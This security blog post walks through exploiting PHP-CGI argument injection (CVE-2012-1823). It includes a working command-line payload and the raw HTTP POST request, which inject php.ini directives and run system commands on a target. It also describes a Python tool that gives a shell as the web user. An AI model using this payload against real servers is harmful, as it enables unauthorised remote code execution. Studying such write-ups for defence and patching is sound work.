Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823

The CVE-2012-1823 PHP-CGI exploit was, quite possibly, one of the most groundbreaking exploits of 2012. In a year that brought us MS-12-020 (the most hyped bug in my recollection), multiple Java 0day exploits, and several MySQL exploits, the PHP-CGI bug still stands out as one of the most hilariously brilliant bugs to show up for several reasons. Primarily the massive misunderstanding of how it worked.

For this exploit to work, PHP had to be running in CGI mode. A fairly obscure configuration not seen all too often in the wild. Essentially, with this vulnerability, you could inject arguements into the PHP-CGI binary and make changes to php.ini directives, allowing for remote code execution.

Developing an exploit for this bug is trivial. In order to gain remote code execution, you tell PHP.ini that it is to allow URL inclusion ( allow_url_include = 1 ), and to automatically prepend the “file” php://input. This means whatever we send in the POST request is parsed as PHP, and executed.

One way to exploit this (targetting example.com), using the lwp-request’s “POST” utility, is as follows.
echo “<?php system(‘id’);die(); ?>” | POST “http://example.com/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input”

As you will see in the video, we can easily use this to execute commands remotely from a BASH shell.

The HTTP request sent, looks something similar to this:

“””
POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: example.com
User-Agent: lwp-request/6.03 libwww-perl/6.04
Content-Length: 29
Content-Type: application/x-www-form-urlencoded

<?php system(‘id’);die(); ?>

“””

The response to that was the server sending back the result of our command (id), so we know it works.

So now we have a somewhat reliable “commandline” RCE method, however, we like to automate things… Let’s see how hard it is to write a reliable exploit in Python.

The following screenshot shows exploitation using Python.

PHP CGI Exploitation

Exploiting PHP-CGI bug with Python

So, we know now that using Python’s requests library (a mainstay of all my exploits, as I guess you noticed).

Now that we have reliable exploitation using Python, I decided to go a step further and write an actual exploit in Python to automate the whole thing. It simply drops you into a shell of sorts, giving you the ability to run commands as the web-user.

Exploit code available here: Google Code – Insecurety Research

So, along comes the demo, as usual in video format. This time, with additional tunes by Blackmail House who gave me permission to use their music in demo videos the other day in the pub :)

Remember, play nice out there.